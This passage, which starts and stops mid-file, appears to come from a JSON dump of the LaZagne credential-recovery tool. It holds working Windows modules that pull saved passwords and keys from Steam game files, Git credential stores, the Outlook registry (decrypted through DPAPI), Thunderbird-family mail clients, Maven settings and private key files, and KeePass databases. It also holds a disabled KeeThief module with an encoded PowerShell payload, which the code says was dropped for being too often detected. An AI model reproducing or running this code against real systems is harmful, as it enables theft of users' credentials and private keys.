'Login': root.attrib['username'],\n                        'Hash': root.attrib['password']\n                    })\n\n            return creds\n"
  },
  {
    "path": "Windows/lazagne/softwares/games/turba.py",
    "content": "# -*- coding: utf-8 -*-\n\nimport os\n\ntry: \n    import _winreg as winreg\nexcept ImportError:\n    import winreg\n\nimport lazagne.config.winstructure as win\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import string_to_unicode\n\n\nclass Turba(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'turba', 'games', registry_used=True)\n\n    def run(self):\n        creds = []\n        results = None\n\n        # Find the location of steam - to make it easier we're going to use a try block\n        # 'cos I'm lazy\n        try:\n            with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Valve\\Steam') as key:\n                results = winreg.QueryValueEx(key, 'SteamPath')\n        except Exception:\n            pass\n\n        if results:\n            steampath = string_to_unicode(results[0])\n            steamapps = os.path.join(steampath, u'SteamApps\\common')\n\n            # Check that we have a SteamApps directory\n            if not os.path.exists(steamapps):\n                self.error(u'Steam doesn\\'t have a SteamApps directory.')\n                return\n\n            filepath = os.path.join(steamapps, u'Turba\\\\Assets\\\\Settings.bin')\n\n            if not os.path.exists(filepath):\n                self.debug(u'Turba doesn\\'t appear to be installed.')\n                return\n\n            # If we're here we should have a valid config file file\n            with open(filepath, mode='rb') as filepath:\n                # We've found a config file, now extract the creds\n                data = filepath.read()\n                chunk = data[0x1b:].split('\\x0a')\n                creds.append({\n                    'Login': chunk[0],\n                    'Password': chunk[1]\n                })\n            return creds\n"
  },
  {
    "path": "Windows/lazagne/softwares/git/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/git/gitforwindows.py",
    "content": "# -*- coding: utf-8 -*- \nimport os\n\ntry: \n    from urlparse import urlparse, unquote\nexcept ImportError: \n    from urllib.parse import urlparse, unquote\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import string_to_unicode\n\n\nclass GitForWindows(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'gitforwindows', 'git')\n\n    def extract_credentials(self, location):\n        \"\"\"\n        Extract the credentials from a Git store file.\n        See \"https://git-scm.com/docs/git-credential-store\" for file format.\n\n        :param location: Full path to the Git store file\n        :return: List of credentials founds\n        \"\"\"\n        pwd_found = []\n        if os.path.isfile(location):\n            with open(location) as f:\n                # One line have the following format: https://user:pass@example.com\n                for cred in f:\n                    if len(cred) > 0:\n                        parts = urlparse(cred)\n                        pwd_found.append((\n                            unquote(parts.geturl().replace(parts.username + \":\" + parts.password + \"@\", \"\").strip()),\n                            unquote(parts.username),\n                            unquote(parts.password)\n                        ))\n\n        return pwd_found\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n\n        # According to the \"git-credential-store\" documentation:\n        # Build a list of locations in which git credentials can be stored\n        locations = [\n            os.path.join(constant.profile[\"USERPROFILE\"], u'.git-credentials'),\n            os.path.join(constant.profile[\"USERPROFILE\"], u'.config\\\\git\\\\credentials'),\n        ]\n        if \"XDG_CONFIG_HOME\" in os.environ:\n            locations.append(os.path.join(string_to_unicode(os.environ.get('XDG_CONFIG_HOME')), u'git\\\\credentials'))\n\n        # Apply the password extraction on the defined locations\n        pwd_found = []\n        for location in locations:\n            pwd_found += self.extract_credentials(location)\n\n        # Filter duplicates\n        return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)]\n"
  },
  {
    "path": "Windows/lazagne/softwares/mails/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/mails/outlook.py",
    "content": "# -*- coding: utf-8 -*-\ntry:\n    import _winreg as winreg\nexcept ImportError:\n    import winreg\n\nimport lazagne.config.winstructure as win\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n\n\nclass Outlook(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'outlook', 'mails', registry_used=True, winapi_used=True)\n\n    def trySingleKey(self, keyPath):\n        try:\n            hkey = win.OpenKey(win.HKEY_CURRENT_USER, keyPath)\n        except Exception as e:\n            self.debug(e)\n            return\n\n        num = winreg.QueryInfoKey(hkey)[0]\n        pwd_found = []\n        for x in range(0, num):\n            name = winreg.EnumKey(hkey, x)\n            skey = win.OpenKey(hkey, name, 0, win.ACCESS_READ)\n\n            num_skey = winreg.QueryInfoKey(skey)[0]\n            if num_skey != 0:\n                for y in range(0, num_skey):\n                    name_skey = winreg.EnumKey(skey, y)\n                    sskey = win.OpenKey(skey, name_skey)\n                    num_sskey = winreg.QueryInfoKey(sskey)[1]\n\n                    for z in range(0, num_sskey):\n                        k = winreg.EnumValue(sskey, z)\n                        if 'password' in k[0].lower():\n                            values = self.retrieve_info(sskey, name_skey)\n\n                            if values:\n                                pwd_found.append(values)\n\n            winreg.CloseKey(skey)\n        winreg.CloseKey(hkey)\n        return pwd_found\n\n    def retrieve_info(self, hkey, name_key):\n        values = {}\n        num = winreg.QueryInfoKey(hkey)[1]\n        for x in range(0, num):\n            k = winreg.EnumValue(hkey, x)\n            if 'password' in k[0].lower():\n                try:\n                    password_bytes = win.Win32CryptUnprotectData(k[1][1:], is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)\n                    #  password_bytes is <password in utf-16> + b'\\x00\\x00'\n                    terminator = b'\\x00\\x00'\n                    if password_bytes.endswith(terminator):\n                        password_bytes = password_bytes[: -len(terminator)]\n                    \n                    values[k[0]] = password_bytes.decode(\"utf-16\")\n                except Exception as e:\n                    self.debug(str(e))\n                    values[k[0]] = 'N/A'\n            else:\n                try:\n                    values[k[0]] = str(k[1]).decode('utf16')\n                except Exception:\n                    values[k[0]] = str(k[1])\n        return values\n\n    def run(self):\n        # https://github.com/0Fdemir/OutlookPasswordRecovery/blob/master/OutlookPasswordRecovery/Module1.vb\n        key_paths = {\n            \"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows Messaging Subsystem\\\\Profiles\\\\Outlook\",\n            \"Software\\\\Microsoft\\\\Windows Messaging Subsystem\\\\Profiles\",\n        }\n        # https://docs.microsoft.com/en-us/previous-versions/office/jj228679(v=office.15)\n        major_versions = {\n            \"7.0\",  # Office 97\n            \"8.0\",  # Office 98\n            \"9.0\",  # Office 2000\n            \"10.0\",  # Office XP\n            \"11.0\",  # Office 2003\n            \"12.0\",  # Office 2007\n            \"14.0\",  # Office 2010\n            \"15.0\",  # Office 2013\n            \"16.0\",  # Office 2016\n            \"16.0\",  # Office 2019\n        }\n        key_paths.update(\"Software\\\\Microsoft\\\\Office\\\\%s\\\\Outlook\\\\Profiles\\\\Outlook\" % x for x in major_versions)\n        for key_path in key_paths:\n            result = self.trySingleKey(keyPath=key_path)\n            if not result is None:\n                return result\n"
  },
  {
    "path": "Windows/lazagne/softwares/mails/thunderbird_mails.py",
    "content": "from lazagne.config.soft_import_module import soft_import\n\nmozilla_module_location = \"lazagne.softwares.browsers.mozilla\", \"Mozilla\"\nMozilla = soft_import(*mozilla_module_location)\n\n# Name, path\nthunderbird_mails = [\n    (u'epyrus', u'{APPDATA}\\\\athenian200\\\\Epyrus'),\n    (u'interlink', u'{APPDATA}\\\\BinaryOutcast\\\\Interlink'),\n    (u'thunderbird', u'{APPDATA}\\\\Thunderbird'),\n]\n\nthunderbird_mails = [Mozilla(browser_name=name, path=path, category='mails') for name, path in thunderbird_mails]\n"
  },
  {
    "path": "Windows/lazagne/softwares/maven/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/maven/mavenrepositories.py",
    "content": "# -*- coding: utf-8 -*-\nimport os\nfrom xml.etree import ElementTree\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass MavenRepositories(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'mavenrepositories', 'maven')\n        # Interesting XML nodes in Maven repository configuration\n        self.nodes_to_extract = [\"id\", \"username\", \"password\", \"privateKey\", \"passphrase\"]\n        self.settings_namespace = \"{http://maven.apache.org/SETTINGS/1.0.0}\"\n\n    def extract_master_password(self):\n        \"\"\"\n        Detect if a Master password exists and then extract it.\n\n        See https://maven.apache.org/guides/mini/guide-encryption.html#How_to_create_a_master_password\n\n        :return: The master password value or None if no master password exists.\n        \"\"\"\n        master_password = None\n        master_password_file_location = constant.profile[\"USERPROFILE\"] + u'\\\\.m2\\\\settings-security.xml'\n        if os.path.isfile(master_password_file_location):\n            try:\n                config = ElementTree.parse(master_password_file_location).getroot()\n                master_password_node = config.find(\".//master\")\n                if master_password_node is not None:\n                    master_password = master_password_node.text\n            except Exception as e:\n                self.error(u\"Cannot retrieve master password '%s'\" % e)\n                master_password = None\n\n        return master_password\n\n    def extract_repositories_credentials(self):\n        \"\"\"\n        Extract all repositories's credentials.\n\n        See https://maven.apache.org/settings.html#Servers\n\n        :return: List of dict in which one dict contains all information for a repository.\n        \"\"\"\n        repos_creds = []\n        maven_settings_file_location = constant.profile[\"USERPROFILE\"] + u'\\\\.m2\\\\settings.xml'\n        if os.path.isfile(maven_settings_file_location):\n            try:\n                settings = ElementTree.parse(maven_settings_file_location).getroot()\n                server_nodes = settings.findall(\".//%sserver\" % self.settings_namespace)\n                for server_node in server_nodes:\n                    creds = {}\n                    for child_node in server_node:\n                        tag_name = child_node.tag.replace(self.settings_namespace, \"\")\n                        if tag_name in self.nodes_to_extract:\n                            creds[tag_name] = child_node.text.strip()\n                    if len(creds) > 0:\n                        repos_creds.append(creds)\n            except Exception as e:\n                self.error(u\"Cannot retrieve repositories credentials '%s'\" % e)\n\n        return repos_creds\n\n    def use_key_auth(self, creds_dict):\n        \"\"\"\n        Utility function to determine if a repository use private key authentication.\n\n        :param creds_dict: Repository credentials dict\n        :return: True only if the repositry use private key authentication\n        \"\"\"\n        state = False\n        if \"privateKey\" in creds_dict:\n            pk_file_location = creds_dict[\"privateKey\"]\n            pk_file_location = pk_file_location.replace(\"${user.home}\", constant.profile[\"USERPROFILE\"])\n            state = os.path.isfile(pk_file_location)\n\n        return state\n\n    def run(self):\n        \"\"\"\n        Main function:\n\n        - For encrypted password, provides the encrypted version of the password with the master password in order\n        to allow \"LaZagne run initiator\" the use the encryption parameter associated with the version of Maven because\n        encryption parameters can change between version of Maven.\n\n        - \"LaZagne run initiator\" can also use the encrypted password and the master password \"AS IS\"\n        in a Maven distribution to access repositories.\n        See:\n        github.com/jelmerk/maven-settings-decoder\n        github.com/sonatype/plexus-cipher/blob/master/src/main/java/org/sonatype/plexus/components/cipher/PBECipher.java\n        \"\"\"\n\n        # Extract the master password\n        master_password = self.extract_master_password()\n\n        # Extract all available repositories credentials\n        repos_creds = self.extract_repositories_credentials()\n\n        # Parse and process the list of repositories's credentials\n        # 3 cases are handled:\n        # => Authentication using password protected with the master password (encrypted)\n        # => Authentication using password not protected with the master password (plain text)\n        # => Authentication using private key\n        pwd_found = []\n        for creds in repos_creds:\n            values = {\n                \"Id\": creds[\"id\"],\n                \"Login\": creds[\"username\"]\n            }\n            if not self.use_key_auth(creds):\n                pwd = creds[\"password\"].strip()\n                # Case for authentication using password protected with the master password\n                if pwd.startswith(\"{\") and pwd.endswith(\"}\"):\n                    values[\"SymetricEncryptionKey\"] = master_password\n                    values[\"PasswordEncrypted\"] = pwd\n                else:\n                    values[\"Password\"] = pwd\n            else:\n                # Case for authentication using private key\n                pk_file_location = creds[\"privateKey\"]\n                pk_file_location = pk_file_location.replace(\"${user.home}\", constant.profile[\"USERPROFILE\"])\n                with open(pk_file_location, \"r\") as pk_file:\n                    values[\"PrivateKey\"] = pk_file.read()\n                if \"passphrase\" in creds:\n                    values[\"Passphrase\"] = creds[\"passphrase\"]\n            pwd_found.append(values)\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/memory/keepass.py",
    "content": "# -*- coding: utf-8 -*- \r\n# Thanks to the awesome work done by harmjoy\r\n# For more information http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/\r\n\r\n# Thanks for the great work of libkeepass (used to decrypt keepass file)\r\n# https://github.com/phpwutz/libkeepass\r\n\r\nimport traceback\r\n\r\nfrom . import libkeepass\r\nfrom lazagne.config.constant import constant\r\nfrom lazagne.config.module_info import ModuleInfo\r\n\r\n\r\nclass Keepass(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'keepass', 'memory')\r\n\r\n    def run(self):\r\n        # password found on the memory dump class\r\n        if constant.keepass:\r\n            res = []\r\n            for db in constant.keepass:\r\n                try:\r\n                    with libkeepass.open(db.values()[0][u'Database'],\r\n                                         password=db.get(u\"KcpPassword\", {}).get(u'Password'),\r\n                                         keyfile=db.get(u\"KcpKeyFile\", {}).get(u'KeyFilePath')) as kdb:\r\n                        res.extend(kdb.to_dic())\r\n                except Exception:\r\n                    self.debug(traceback.format_exc())\r\n            return res\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/keethief.py",
    "content": "# -*- coding: utf-8 -*-\r\n\r\nimport json\r\nimport os\r\nimport sys\r\n\r\nfrom lazagne.config.constant import constant\r\nfrom lazagne.config.execute_cmd import powershell_execute\r\n\r\n\r\nclass KeeThief():\r\n\r\n    # def launch_kee_thief(self):\r\n    #     # Awesome work of harmjoy (thanks to him)\r\n    #     # From https://github.com/adaptivethreat/KeeThief/blob/master/PowerShell/KeeThief.ps1\r\n    #     func = 'Get-Process KeePass | Get-KeePassDatabaseKey'\r\n    #     return powershell_execute(SCRIPT, func)\r\n\r\n    # def check_if_version_2x(self, full_exe_path):\r\n    #     dirname = os.path.dirname(full_exe_path.decode(sys.getfilesystemencoding()))\r\n    #     # version 1 use an ini configuration file\r\n    #     if os.path.exists(os.path.join(dirname, u'KeePass.config.xml')):\r\n    #         return True\r\n    #     else:\r\n    #         return False\r\n\r\n    def run(self, full_exe_path):\r\n\r\n        # Too much detected, not supported anymore\r\n         return False\r\n\r\n        # if self.check_if_version_2x(full_exe_path):\r\n        #     output = self.launch_kee_thief()\r\n        #     try:\r\n        #         output = json.loads(output)\r\n        #     except Exception:\r\n        #         print_debug('WARNING', u'{output}'.format(output=output))\r\n        #         return False\r\n\r\n        #     constant.keepass = output\r\n        #     return True\r\n\r\n\r\n# SCRIPT = '''\r\n# #requires -version 2\r\n# function Get-KeePassDatabaseKey {\r\n#     [CmdletBinding()] \r\n#     param (\r\n#         [Parameter(Position = 0, ValueFromPipeline = $True)]\r\n#         [System.Diagnostics.Process[]]\r\n#         [ValidateNotNullOrEmpty()]\r\n#         $Process\r\n#     )\r\n#     BEGIN {\r\n#         $EncodedCompressedFile = '\r\n# tL0HfFzFET/+7tVrknUq72TJlmSDzOOMjTFgJLkDppgSMLaRTDEdrIAe3Nkk4ZAxNYQYE2roJKQTQhLSQ0mDVIoDCUkIBtJpISG\r\n# FVOTffGd233unYpzf///zx7q3Ozu7Ozs7Ozvbj1jzAcMyDMOmv+3bDeOrhvxbYrz9v030V9/59Xrji5nHp301dfjj01aeta7SdW4\r\n# 5PLN88jldp548NBSu7zrl9K7yhqGudUNdB77jmK5zwtNOn11Xl91VpXHUMsM4PGUZJ7166bE63RcN08il0obRlzOMtMD+3U/uLnK\r\n# clBPq4DaFbsOIv8aHcgzHP8tYcrlhNPD/+Bt9+N+9lO7hhqT7cWe8QuaMPOIM5IwpO8ET/S9N+OkkgOg9JOGdvf70d6+n7/m9qlx\r\n# 9Md2JKCfNLlfKp5KbaUPZXfouyNXgLaH/s8unnx0SYl7RzGntPwZv/9F0gibTcIyur5nGVXeljRT595Nc/qd/TXMmGZ+mL8UvVLa\r\n# 1Gm62Qs5szq0QIdnhfxQM261YcL4JZxUAK6Ray/acRdEEEFIhsw0pt/omhxIR2b7lHCoAjwCmFVZNw82ne+dQiGeFxOVs2nKr/yS\r\n# U7j6fgDPc7hH3eaKhkqGw7rphBGXCQ2zDVflkCe7PucorGSkiocMMiFHZUodZJZrt0lz5hnkAKb3lZqUOlAOoUI0LLFSYUSbYuZV\r\n# 6Al0gkaxw0tuEN3B4+xzPOJV5bxQUam4Ualggd7ZnGoU1GkEjuOn1NpHP8kL6ZHuJHUYxv61DEJoJNOuZbfXsG/EpsD1sIdhzfil\r\n# N5WxAXlONfY42gJEsM1pRabppDbODw6qWhlkxzNYwO4Y5GubEMFfD3BjmaZinYE1zphvtKbRRkhcfBTWDIn3CVpYar9xN3DBRKDe\r\n# YDHgb/cwg+DEMbxwDP5PhVLFuvtEsX0S+oJ2CapEuB3gKIFMB8et6lkG8yrdwZKpvN3MNsSVVvguIHYgfY2fMgJjoFgfm5znSxwh\r\n# HhRT761To3PvdsBMwMyA+u31FoHrlT0UZMyk9UwX8KOcLxKBrFLHhNJaTUfKZ1nxMx7zNaFgmhmU1LBvDchqWi2F5DctH9dJppFO\r\n# sT3dUL10T8L91Z/nfNg7/p7wt/zt2yP+OWv637YD/02P+B9OhVRg73GXcShhVB3WaZ3UxH+s1rD6GTdKwSTGsQcMaYlhBwwpRHXQ\r\n# YFtWBs+M62GOCOtj1/0sbmPG2dVDaYR2Uausg2Nk2ELxNG3BL8hfVg4Vy8rdb6kXgTXNMYx+DO7BCZR59N5GqsMu/QN4zwEo/11P\r\n# gjD9C1ZIKesg5wyv25zx3y7q5L3Ndt89pNH6LzoXSMIP5hJF1w93QZSx6ksAbA1RD1/ZJnYZvhruDZupZ3ZzHAeBAtrcTeJzzyyg\r\n# eY21uQIYzUbw9Cd8NqQKz+Z5FUNhmMAtwC0I4m1x1PSRcRgaIWa8Y9KJWwjnQ8K9u45Bel8NZwVPsvRD0NVH+5oifiZT/NnC5yWZ\r\n# aCnY4V+c+0uYFS1H259xSah/0De82Oj9oIG1yn2wcfb/0E4Yx2bj3UaOFOpyUSe5vPStmTdOcgvEtg82zgt2X18U1OfGSZYaHoUI\r\n# PZt6JZ8u6oA9ssjwG55lbdRZ//LR8Gq3gIApLMLIhYuTBKRI1Tr3rJeJTsDearUr5aghsk225Bbt7y7pGJyA7x+2FjUluKl22YG9\r\n# ZN7gEnadJXDgSeSTIhd1io0yO8XWwlcrUtZoaICfbvZWi2cG+EJ6uL8fQZg3NNecDkrRs2xJ0yG6+B6aXl0+3KURfI/rB0RRel2m\r\n# ZPxmEBPuhlD1c/Ewb6jjbw4bAZ6iklT4YAlEaLbVpNFFdtswHbyzIJyVQsCUF6uoNkeEFxlmwt9AOFoD25lzZMo1z8yKMXUd9h3h\r\n# 4bApyG55Mn3AhQftakb9DaHXMHxZANyPEJPCKiyZF9XKqqepFwv1wEWSsCNQzLSE13EwWW1870v4zYTc5Io4ORys4kjyhXU1o4WL\r\n# yNLk9x8IycsMl8HkFu+Cx2deULqR7FyAoHS4je65csqhhLwXpM0xN0WpLUYRoQQptan8kk+k5EhKRCQ6Aj2SikJVEc4WcpHYfUjs\r\n# QcgfZKeTKpk1JnUpB3YR7PX2b8oV8MbyWXOtJR6XylNoytL1PSdvLjPiToraXZoYzdb1XpjR1zZRkWvTguDQuTsU01lFoHdMo9C2\r\n# 3NX2To/Qus1VpKw4kox5REglO6oFIN06SBBsotEEKXSgUJNEXo0R3QaEbKMBOBwuQWGOhsbcKYH2hEea423MOfCpiqzNexIWI2FR\r\n# o6t1fIjZJxH0SEY+MInYkIi5CxOZCc29GIjZzRKIcDO7r2759u/B4UpLHhXoMIlz/AGgll3ykP7KqUvq+NKLj1NQLiRVUad8db1E\r\n# wBLngsi1NcA4Xvm4mIoHnboOx0NQiMttSo0JZC3vhGSTspEeX3iDDrgxx/2T6DtJXKVGGj5B/K32fMGvh1N6NVfRnWrXwL9LfOeS\r\n# YRvBJRvwPOPMIdiD9tYA21s0CP4xgA/RXp3Cb5uxq/J2+OeiBItSxVf6Ao4XaZJmeQd8P0Pdj1EJTufASVNE9EY6ncLwYJy84D0Y\r\n# 4aYWTjnHqSHmwnNmMnAmH0HqcguMvyoLXTmfDCb2gurlUcER/u36T19PGFVGgJp+hNn8ukkPg7QXqpEkReAVn7ouuA8vAdanCpuJ\r\n# rZfyQxID7m2w4mYMcmCBuQrfvarxl8Pi4gGEh+PDEKD7kPGnZeav86x2xqG508TMKJxPjNNnQe8wAh9HJxxwgohUH3AQHXOGA5ze\r\n# le6AnqZzpgkONNZ1kQZpYQAqw4M59gVjQwuX0wjpmQcFO8iCn2FPAN812FMaMSX5MMWDM1IEfuwg/dljo3OhCjycXdpqLLAxKS4G\r\n# JD6rAdqLAthTY8UnVT2Z5KLgZKlmyuC4VlwpRsOf+ioo7S1XrblzcdLK03RxkhzOlhCjf7Mre2vgroV9fJe2jYLJtYZExcgh6QYM\r\n# aeOcS6CKyUxJmB/fD/3Z0P2y6FuyKFJSoK6P1Fa4OjHga26CS3yTkZ/nX2lDHM7M9c9FfK2MlZ7qeDzKWw8KzAmLLTOaNW0IUl4L\r\n# 6JZrrLwb3XHPLOgIO7PVQi85vo+Snpg/ud6PpA2v4cNDRZ1bxtezwCLajF5kjLSQ07aYVHKnGMu/AF2MPdkBnSZqm1d0H3TYjOIp\r\n# 8w0dz6KBZhWNSKliBj8mf8BgOu1VBN5MF0c6zFDXI4Upg+SXj66a1kXiT7eZRwYyNq8k94h5Lv5V+gDch0Hbq7WCA022ak+Z5pQb\r\n# I6RrYMa4zfBx9XXv4eHzq7eETQDCTXTkR9pjnDq+N+fJIxBevCnAVsSXoqSTLTkJFMIbCO4HJFC6cDC4A4NU7DCr2YKasZfgU5O2\r\n# NuKfqEgyfZugxy2qzikTN6mlcC07ldGEy5GMDZB7ywSiBhZreeOYYxpyFZNcxYxBYGUT5JEGyt95JnzzMX4ws6vwmuweGeIbUhn1\r\n# nwabWQ44MDWv+mHHTARE00w3PUfWs5HVI5CAI8c2aJaNt47mMcYo5mntmQPbFTMRd1DlSKYMmc7gC5PFw3QTuBsE9X9qGxXOOjZj\r\n# 38hc0It4rFM/i0VFz5V0cfdAa7M+6xcGBLur1LxpcPAGaG7wfDQZlWUP5bG+F6hombLvbGt6/EaPpKybOxAo8IRJx3yM0XoCPNVx\r\n# VsmcZ86R/LVQuZNmzhofB+upwJENvxoV2R9yNqKSLUKNpSRu03TOGP9aYuFaQ4Qig5RKh5VKh5bIaWppBy+WKliuYlisiWrJekpb\r\n# 3gpYrQUt2J2hJxLXQlhQt7xdaNgstV9fQ0gJatiharmFarpmAlg+AlmtBSz6m5fVxst54faIN3MBt4EbEvYnbAAKDOqQAGmj8ZPi\r\n# g4WZFwy1Mwy0RDVNqaLgV6dwG9YIZt5nSRv8yET/iuLYA9k9QaQeTlHyfTzy6Q3h0p/DoLnzs4Q/pti68KoLODys672Y6755Ahj4\r\n# COj+Kkjb8rzJUiOrtE0LTJ4WmT0X11kVxWkHLPYqWT0NDUa73ItfPRLnKGLLOOM/ADADpqTFNfAO1gfas2wtzxQ3vI5i/EFa0FX4\r\n# WudFA8HP4muHnWSeLyZ2LEHrEdL4fKoynNLQxLUMn1lE8Z73EmH6KmLNzzY1fAIGNivfzqMTUNmdilhgACv/KuOEtAmifM8kgATX\r\n# adlgenhoMv5Yoz9e5PN0MKw6ED0ixHkwUKx/h5bftyaV4yMAkjhe7BXPWG5nxSytlPdjo3RSV9WGUxR9dlmJU1m+NG96qy5oxqL8\r\n# y2scta/gdrn0mieeq3PARFEcNjJjs/DYEVB5lWQu/G9WTy5S7Y+qp1Zh3ZET79wyZyaulrS2i/Yfjhrdr2m2DWjrW2wqVx5ScPg4\r\n# 5HV0QtwqwvwDqonwSNVAB1Kh5rtec18tcl/DwCW4PEPsnIfZbDZnkFEnKb8MsyIwJ0lN1ZRjHG1PfY7QGsGKpP7+YIFNB71OK3qf\r\n# Hp/dpphcGXWNqpIU0YrtXEhLz6d4AjGWUdPgT+l1ci5eWsPCnLIBE/DMg/mcR8UrMWV+M1ydPTfTJvxD98Kzuk6GjOkD/LxX9z7G\r\n# Oem4CHbUNOT+vc/6fdFRHpKNeFBp+JTrq1zU6qhO0/EbR8lulo36HXH8f5SrjmLRBtivijNemdyfKsm4fSm36G/+Q6Fte4r7lZaT\r\n# 4CvctCAw6ka4bvmZoGy6SzS4pJ/Ijk9iYNn5+RclvJuc3uPH1RIZ/4gz/jAzf4AwRGEyTDP9iqHWGKL/pkp/m6dneKJ6+O9lf7xL\r\n# x9O/C0zeFp/8wJrDlKv+U7onaIubRZ4b/Vv7pZjMm1FlOzhgbz8IkuraZ3pK8RiSv7ZzCfdSFG6m41KkUSm3Sb8UCeBMCm4PdkAp\r\n# wnQSuy7gecNOMi0BbcGlUZDdjlWBmifulj4LW8erAGm3aq+77iohfTiWTwppKmKVPrmd/1sM5cuetdJinb52bCevou55UfDts6D4\r\n# 0+EylnmBNNgaak1KYUqbRbgM5wgL9KPX+5bHKnexT1o9LjZU3in6cYVrNwe7CR/CgKcGDZuZBC3jgMw+amAelmAczOeKb/xcFp+i\r\n# OYqEhae3BHrQ5GvEYu6DNTQZvaHDVlhpHf43Jw60Cb6yB5GA9YyY12SkoyVT6CWZHNtdsENIc7Cl2nG3QWMLYFXl3pWR8N22n8h5\r\n# TPrc6bVxibBpNBkLOdJCzC8iZE+utdmrTNLoyuncgTx+P0wt3TUWdJ48FpY90sQgzsxjM5XHWboRjYY1iZm5sr+np/n53Y89+kYk\r\n# m6q+hNfCPKN4YJGRid5aJEkifyTKBQCxrKH62z8kaFWCOR789mn5nNIMsagqzuCk0sNTORlOw3XS4J8qpBPulsYLtEAtSrCe5LAu\r\n# M6Scm5Htf4W8fqQzqW2baSqtgfQ7Z7AZaG42RFlLn7S6WQkSfj6tzemKds2+Kdc68FOuc/VKylyJtnEGRgh3UX6ILCntQLp5odMN\r\n# eFNzywr6Usnv8/LYpHMLFfn5s5RVLvMai6m+PVVLmdrIBqLYJMq69NT8WmR3JQ6uR31XSi/qBXik787RP90Euzx+U0GYWqfa6mL7\r\n# UVS4Zr+m4VYT2ocTmho015hDww6UpNnAZS8947E9uThQd7wGQvQMhdfMTNgbTtCC2rWlAAxnW5f/cxF2WrXM5mNJsMM3wEJTC4o8\r\n# 2QiexpMHpj6Ty2w6OvLqaSMIM2w0PZe2L33A5/cz65ra2MSo4yWxf6m8K+L3YWHaZXvPsMQau1W3RNbA3aw/w97CU2CCHj8fYrdS\r\n# TtwdHgDFH0k8vbH9z4zsSbfcobrtHg38ruO0iUGp2If00sBG6EsGrELAotmtsA/OFs0DDsaqO+8ejwbQohQGksAYpLI71GvQ61rF\r\n# mI43jOI3geFTrCapaT0SstSlZwJ4Z2R9LQd3+WtYkjT2RximSxqlI4zSVxulI44zx0zhA0oC9eZa023WQNJabAyXs/rfX86QO/co\r\n# 7U2KfcNxlE8U1x4lbrJyTjHuQxB0ah4+2Hx6MUMY7ZAd4xfBQhLbPaTZuThmYQy5UymxTvK2xVqmwiNuV9eDbBnDyfHBy47sSQvN\r\n# uFpr3AOMCFhoEYqZ4plutMl60ze1CIA0Dlh9GUDo4DObcRpgxvHUsE14kZkv1fDZaHGpN4Sa0GbJjLqav2lfws7H7CqyNl4wh6tK\r\n# YqEtioi6rJeryBFGXjSbKj4lyFFGOE14RU/LrsZR4mM7SiXJiG68cQ9r7gHAVk4bA4HCWR27nNxh7f0+3891TwdGpuJ86IraHipg\r\n# WJw/D3xHD/ST8qNhuuyZBwgeYhGtBwnVMwjVstx0d220rItuVRnvGXv+3tusNLGfhjdxht7OOuwkdtkvG6weRZzq8GbrwllRklG4\r\n# bzyg1dB+21Jg1FPU5mHlvDo7Rbd9mnT4X8n2b0kG3p2TS/Y5YFz04Wty/nzDJbo9Msp+MNkHeTKDdMY7l5lpOvROsJGKG71Ta5i4\r\n# w+EMgYcT9MNx3o6ZXxTovKsPquAw3UbJ7owwf4zIQ8R9P8QLCJ3ayDJ/YuTJ8fMdl+KQqw6dA9z2g+9iY7i163aXyaQTfC8XwGUS\r\n# o3AfnZ1M8Ts/AbsL+pkKjYYWfQxqfB1L1M9z7h/ezB8hu+IWUHsOCB7Bp9uX1BqBaFURrNMIvgmRZkpN59LmCEH5J6UzExYzYvAn\r\n# iQqaCfh7E5jxVluVJxPArnBJst69KH/C1FNtuX2d4n195QMAPsr/DDB5K8ZpESANBN9rXhRWaDuzYsYc78XGGu/ChupzGu+YwB3O\r\n# osp/LrWnj3LarLeyc8c0qovEMzt3dRbPaGftazWpX7JtsVqdFvuDhVLxOQmPkZmxn2S8le4U6zOoMvWdvRryPbzcN2y2GBRoWxLD\r\n# dZU0yz/vn92O+ApR12SZzg29EdZKVvXNmtYTtwNS9u2bQCEqyLtYrBRO72RSYrHi38k0CXsAbklS8AQQto5/5LJtLiDmVb6Vk/aQ\r\n# tpdZPIFtXUnAP04N41npsC6tQ1+NmrQ3XmobZiw0GpoS6lbMnUdStAwQXA+jb9CNLm25I/ZrbRabLn/1mb8s6L3wT/mMNb9OS5kQ\r\n# Sxa4GYlWlK49FTwXzu17PaZjQlTW+Q3F6sV4UfCel12a/mI7aq7CBp2ql8Hbf1fA0Go2pRrPRChZZhjuDWEejdpelYQksdU8BIBB\r\n# LIOJpBYBMLAFXMwoAsZjfh1wfSwiWq2XK0+KU1pKUSQiRYrUlrFbtcapBY0iDkizsXEVJOFlqbu9eowWiWde8cs6Mnbvjp4lkRdV\r\n# o5d2oTDNooE9xydjalJDW2pCPeRwSMa+Vt7n5uZ7DWPAieNuSPWIAmNo3JfaDhVzbC3jTeq5nnMyVz0tEScqBw3td5vOeTCBksct\r\n# 9F0pF7RLVNm+ex2Hc14tKtYMCWFJvB034OkELfZwiBq8utcwS6xFnmJvlqHX8ZsOhelrAe/TRIoslawONY1Wf0ZHRFWStBxSzQdj\r\n# 